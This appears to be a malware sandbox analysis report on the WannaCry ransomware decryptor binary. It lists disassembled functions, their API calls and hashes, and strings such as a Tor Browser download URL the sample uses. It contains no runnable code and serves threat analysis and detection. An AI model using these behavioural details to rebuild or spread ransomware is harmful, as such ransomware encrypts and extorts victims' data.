                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: File$Delete$CreateDirectory$CacheDownloadEntryNameTemp
                                        • String ID:
                                        • API String ID: 361195595-0
                                        • Opcode ID: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                        • Instruction ID: f6bba9489874f0a6e7d9c3b0bbe4d647d3eb1ae806ee8fe5932772f512dcd3e1
                                        • Opcode Fuzzy Hash: bc206aeca14df8ea71a261a63474c4c6f919be589c915fc96ea8b3c1b6d46284
                                        • Instruction Fuzzy Hash: 24112B76100300BBE7209B60DC85FEB379CEBC4321F00C82DF659921D1DB79550987EA
                                        Function 00409A40 Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                        Download Yara Rule
                                        APIs
                                        • OffsetRect.USER32(?,?,?), ref: 00409A9B
                                        • CreateRectRgn.GDI32(?,?,?,?), ref: 00409AB5
                                        • #1641.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220), ref: 00409AC0
                                        • #5781.MFC42(0041679C,00000000), ref: 00409ACC
                                        • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409AEB
                                        • #2414.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00414220,000000FF), ref: 00409B04
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414Rect$#1641#5781CreateOffset
                                        • String ID:
                                        • API String ID: 2675356817-0
                                        • Opcode ID: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                        • Instruction ID: 08eaaa51a6c0e03944d0349f6c05153d0be232de021c7e29130ffbf32961e4dd
                                        • Opcode Fuzzy Hash: 70d65907dd93b2958bf6993a897855ede509dea79e6a3755aa7cf1b2bfcc5a2d
                                        • Instruction Fuzzy Hash: 7621E9B5204701AFD304DF14C995FABB7E8EB88B04F108A1DF58697291CB78EC45CB96
                                        Function 004034A0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5789$#2414#283ClientRect
                                        • String ID:
                                        • API String ID: 3728838672-0
                                        • Opcode ID: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                        • Instruction ID: 278ac0b80a8d68711b6ced8a2ef72b48c78586c4dd5442d856e74ad00dc42751
                                        • Opcode Fuzzy Hash: e98b5bf81114f17ba521e4ef3fa09cb8d98efe28b03220bb61ec6d1cf8ad346c
                                        • Instruction Fuzzy Hash: DB113375204741AFC314DF69D985F9BB7E8FB88714F008A1EB55AD3280DB78E8448B55
                                        Function 00406940 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5789$#2414#283ClientRect
                                        • String ID:
                                        • API String ID: 3728838672-0
                                        • Opcode ID: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                        • Instruction ID: 6a096d29dde81ab0807628e72033e91f5df492254ff76bbe7bc423a6b66a9ecc
                                        • Opcode Fuzzy Hash: 94bfcdd95dccd0665c65ca55dcb9de4da2bf1fb5487f65770e6e71c06e885f3f
                                        • Instruction Fuzzy Hash: CB113375204741AFC314DF69D985F9BB7E8FB8C714F008A1EB599D3280DB78D8058BA5
                                        Function 00404EB0 Relevance: 9.1, APIs: 6, Instructions: 56windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5789$#2414#283ClientRect
                                        • String ID:
                                        • API String ID: 3728838672-0
                                        • Opcode ID: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                        • Instruction ID: d163b7983d6ef18c2c490a4321b6073019a727c2a72f1ecd8d9e2d5251008e6b
                                        • Opcode Fuzzy Hash: 46ba31fa0516e8aa439e01c94c41dc17825091199510f8b9dc900171e6d2ebb4
                                        • Instruction Fuzzy Hash: CB113375204701AFC314DF69D985F9BB7E8FB88714F008A1EB599D3280DB78D8058B55
                                        Function 00404310 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                        Download Yara Rule
                                        APIs
                                        • #470.MFC42(?,00000000), ref: 0040433F
                                        • #5789.MFC42 ref: 00404354
                                        • #5875.MFC42(00000001), ref: 00404361
                                        • #6172.MFC42(?,00000001), ref: 0040436E
                                        • #5789.MFC42(00000000), ref: 0040438F
                                        • #755.MFC42(00000000), ref: 004043A0
                                          • Part of subcall function 004044C0: GetParent.USER32(?), ref: 004044D2
                                          • Part of subcall function 004044C0: #2864.MFC42(00000000), ref: 004044D9
                                          • Part of subcall function 004044C0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 004044E8
                                          • Part of subcall function 004044C0: #2860.MFC42(00000000), ref: 004044EF
                                          • Part of subcall function 004044C0: GetObjectA.GDI32(?,0000003C,?), ref: 00404503
                                          • Part of subcall function 004044C0: CreateFontIndirectA.GDI32(?), ref: 00404513
                                          • Part of subcall function 004044C0: #1641.MFC42(00000000), ref: 0040451D
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5789$#1641#2860#2864#470#5875#6172#755CreateFontIndirectMessageObjectParentSend
                                        • String ID:
                                        • API String ID: 3301245081-0
                                        • Opcode ID: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                        • Instruction ID: 67bcf298962d36d7fa18f20cd84a87d7b1dd540c5c31f1d51ecab4020f7c2e08
                                        • Opcode Fuzzy Hash: fc0b145fd5a230e1fb0a5d7e30a8fbc0e65b4b60cc0ead88fd739261a0b8085f
                                        • Instruction Fuzzy Hash: 4611CE71104300AFC310EF14D841FDAB7A4EF94724F008A1EF5A6932D0CBB8A484CB62
                                        Function 00403EB0 Relevance: 9.0, APIs: 6, Instructions: 24COMMON
                                        Download Yara Rule
                                        APIs
                                        • #3092.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EBE
                                        • #2642.MFC42(00000407,00000000,?,?,00403916,00000000), ref: 00403EC5
                                        • #3092.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED2
                                        • #2642.MFC42(00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403ED9
                                        • #3092.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EE3
                                        • #2642.MFC42(00000002,00000000,00000408,00000000,00000407,00000000,?,?,00403916,00000000), ref: 00403EEA
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2642#3092
                                        • String ID:
                                        • API String ID: 2547810013-0
                                        • Opcode ID: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                        • Instruction ID: 4bb7b71439f2442b6829c2e1ec9f7e71f44d4abaae38a5a684cddd693ffb540b
                                        • Opcode Fuzzy Hash: e7ddd79a8d322918c2dba81477a0c723ed6b3b7cf26a0e59a3b85b9555a4b9c5
                                        • Instruction Fuzzy Hash: 46D0ECB179425427D9543273AE1BD9F4959AFE1B15B10052FB301EB2C2ECFC58A282AD
                                        Function 00406EF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • #823.MFC42(?), ref: 00406F15
                                        • SendMessageA.USER32(?,0000044B,00000000,?), ref: 00406F3F
                                        • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000005), ref: 00406F57
                                        • #825.MFC42(?), ref: 00406F62
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #823#825ExecuteMessageSendShell
                                        • String ID: open
                                        • API String ID: 1093558810-2758837156
                                        • Opcode ID: 00ec340694accfcffa27ecf6b8fccfa08586159b3dc607d2064eddf9933b6c5f
                                        • Instruction ID: 5f9a2cd0b307edef7ddb37fa3a9b8e73568683458afc550aac563bbb23be8fd8
                                        • Opcode Fuzzy Hash: 00ec340694accfcffa27ecf6b8fccfa08586159b3dc607d2064eddf9933b6c5f
                                        • Instruction Fuzzy Hash: 0C0148B0A50301AFE610DF24DD4AF5B77E8AB84B14F00C42AF9499B291E6B4E814CB96
                                        Function 004030E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                        • #324.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403109
                                        • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403119
                                        • #567.MFC42(0000008A,?,?,?,?,?,?,004135B3,000000FF), ref: 00403131
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #567$#324
                                        • String ID: 0ZA$DZA
                                        • API String ID: 784016053-3838179817
                                        • Opcode ID: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                        • Instruction ID: 8222d1989983ac506c5d09346421d66fb4ae1402eeff5ebed15e971907ed65db
                                        • Opcode Fuzzy Hash: 6530db1bbd0e405eb5314e304be7278bbea559453e8c1a2ce06ca27fee27d17e
                                        • Instruction Fuzzy Hash: 430169B1244B42CBD310CF19C580BDAFBE4FB84750F90892EE1AA9B741C3B864458B9A
                                        Function 00404C40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34COMMON
                                        Download Yara Rule
                                        APIs
                                        • #324.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C68
                                        • #540.MFC42(00000089,?,?,?,?,?,00413809,000000FF), ref: 00404C7A
                                        • #860.MFC42(00421798), ref: 00404CAD
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #324#540#860
                                        • String ID: 0ZA$DZA
                                        • API String ID: 1048258301-3838179817
                                        • Opcode ID: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                        • Instruction ID: 18ed51ee5778a88a9d54698e5e0d11c9dbfb79b85878934ba46accb8ddaa74ae
                                        • Opcode Fuzzy Hash: b0cfd1353d7ceadba60806c011dda0c8f49be3dfc720069eeb22ffbda53a051c
                                        • Instruction Fuzzy Hash: 880169B1644B50DBD311DF09D605BAABBE4FBD1B24F004A1EF1928B790C7BC95488BDA
                                        Function 00408B40 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • BitBlt.GDI32(?,?,00000001,?,?,00000000,?,00000001,00CC0020), ref: 00408BA7
                                        • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BBA
                                        • #5785.MFC42(?,?,?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BC9
                                        • #2414.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BEA
                                        • #640.MFC42(?,?,?,?,?,?,?,?,0041407B,000000FF), ref: 00408BFF
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5785$#2414#640
                                        • String ID:
                                        • API String ID: 2719443296-0
                                        • Opcode ID: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                        • Instruction ID: 86c9330ab4234590f1f3c164cda9a19739b95e23c8a4d3600225c259667158ab
                                        • Opcode Fuzzy Hash: 455b206eaea57f198628315411046c596a923de9ec41dd3bd07dbbe9fd6cacce
                                        • Instruction Fuzzy Hash: E1215CB5200B419FC324DF1ACA44A67FBE8EB88710F008A1EF59697781D7B8F8458B65
                                        Function 00404530 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                        Download Yara Rule
                                        APIs
                                        • #289.MFC42 ref: 0040455F
                                        • #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
                                        • GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
                                        • #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
                                        • #613.MFC42 ref: 004045BB
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #5789$#289#613ExtentPoint32Text
                                        • String ID:
                                        • API String ID: 888490064-0
                                        • Opcode ID: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                        • Instruction ID: e6b376e8f5faa3704f84febb4d8b873e9abde4cd399f019e979504a664a0483f
                                        • Opcode Fuzzy Hash: a47064995aa8a6f4e8062305d7bd768f80382afea7fbb3e7ed5e4407e76e675d
                                        • Instruction Fuzzy Hash: C8119DB5108780AFC310DF18D980B97BBE8EB88714F044A1DF49293681C7B8A845CB22
                                        Function 00406CF0 Relevance: 7.5, APIs: 5, Instructions: 48windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00000445,00000000,04000000), ref: 00406D2C
                                        • #353.MFC42(?,00000000,?,?,?,?,?,?,?,?,?,?,776120C0), ref: 00406D39
                                        • SendMessageA.USER32 ref: 00406D69
                                        • #1979.MFC42 ref: 00406D6F
                                        • #665.MFC42 ref: 00406D87
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#1979#353#665
                                        • String ID:
                                        • API String ID: 3794212480-0
                                        • Opcode ID: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                        • Instruction ID: 970bbd2b9484f858b006173e4a833a93101fbe0026f1fdcd253c6fb41473c1ec
                                        • Opcode Fuzzy Hash: 3e8137c70926b1d8ee173e5193f7a8fccbc7f675bb9cd6243914618cf2aa9b36
                                        • Instruction Fuzzy Hash: EA1170B1244701AFD210EF15C942F9BB7E4BF94B14F504A1EF156A72C0C7B8A905CB5A
                                        Function 00407DB0 Relevance: 7.5, APIs: 5, Instructions: 42COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00401000: #324.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401029
                                          • Part of subcall function 00401000: #567.MFC42(0000008D,?,?,?,?,?,?,00413458,000000FF), ref: 00401039
                                        • time.MSVCRT ref: 00407DEA
                                        • #2514.MFC42 ref: 00407E18
                                        • time.MSVCRT ref: 00407E2A
                                        • #765.MFC42 ref: 00407E49
                                        • #641.MFC42 ref: 00407E5D
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: time$#2514#324#567#641#765
                                        • String ID:
                                        • API String ID: 3372871541-0
                                        • Opcode ID: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                        • Instruction ID: 27345a9b2c1eb8b6f7bb2a745056f56b64ece2280f016bc8de7da71c9126f67a
                                        • Opcode Fuzzy Hash: b8401119eccb86975bd1eb41a25b1802afd83000c8f18fd8393192857fb5272d
                                        • Instruction Fuzzy Hash: 4C11AD70A097809FE320EF24CA41BDA77E0BB94714F40462EE589872D0EB786445CB97
                                        Function 004031A0 Relevance: 7.5, APIs: 5, Instructions: 40COMMON
                                        Download Yara Rule
                                        APIs
                                        • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 004031DF
                                        • #2414.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403201
                                        • #616.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403217
                                        • #693.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403224
                                        • #641.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403233
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #2414$#616#641#693
                                        • String ID:
                                        • API String ID: 1164084425-0
                                        • Opcode ID: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                        • Instruction ID: e1576da2e33af18b213473c47bce756763974573e8f92b07b932385a5cbbc76a
                                        • Opcode Fuzzy Hash: 34bc8b48edd82315a510377cde5f302579feb69e69f968417769f9718486fe20
                                        • Instruction Fuzzy Hash: FF112774108B82CAC300DF19C1413CAFBE8AFA5714F54891FE0A6972A2D7F851998BE6
                                        Function 0040BE90 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 18stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        • https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip, xrefs: 0040BEA8
                                        • s.wnry, xrefs: 0040BE97
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: strncpy
                                        • String ID: https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$s.wnry
                                        • API String ID: 3301158039-3000313716
                                        • Opcode ID: 903ad34784ae10f582f3ba96602ae2cf194015f8b356b40d98df9960d5e2a5fd
                                        • Instruction ID: 9df85d4950b3c0e310111636eb28cd84c7ce5d082e56baf833a5c0d57e8a6ec4
                                        • Opcode Fuzzy Hash: 903ad34784ae10f582f3ba96602ae2cf194015f8b356b40d98df9960d5e2a5fd
                                        • Instruction Fuzzy Hash: 47D017B138C2007AE124BA96EE93E2A22959F88F05F50454AB744550C0E9E99BA0836A
                                        Function 00403AF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
